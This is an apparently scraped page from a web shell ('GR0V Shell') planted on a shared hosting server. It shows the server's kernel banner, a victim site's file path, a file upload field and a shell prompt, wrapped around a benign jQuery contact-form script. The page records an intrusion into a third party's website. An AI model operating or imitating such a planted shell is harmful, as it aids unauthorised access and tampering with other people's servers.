? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/karmaasrconsultants.com/public_html/inc/
File Upload :
Current File : /home/u949514618/domains/karmaasrconsultants.com/public_html/inc/contact.js

$(function() {


    $('#contact-form').validator();


    // when the form is submitted
    $('#contact-form').on('submit', function(e) {

        // if the validator does not prevent form submit
        if (!e.isDefaultPrevented()) {
            var url = "inc/contact.php";

            // POST values in the background the the script URL
            $.ajax({
                type: "POST",
                url: "inc/contact.php",
                data: $(this).serialize(),
                success: function(data) {
                    // data = JSON object that contact.php returns

                    // we recieve the type of the message: success x danger and apply it to the 
                    var messageAlert = 'alert-' + data.type;
                    var messageText = data.message;

                    // let's compose Bootstrap alert box HTML
                    var alertBox = '<div class="alert ' + messageAlert + ' alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>' + messageText + '</div>';

                    // If we have messageAlert and messageText
                    if (messageAlert && messageText) {
                        // inject the alert to .messages div in our form
                        $('#contact-form').find('.messages').html(alertBox);
                        // empty the form
                        $('#contact-form')[0].reset();
                    }
                }
            });
            return false;
        }
    })
});

T1KUS90T
  root-grov@89.117.188.241:~$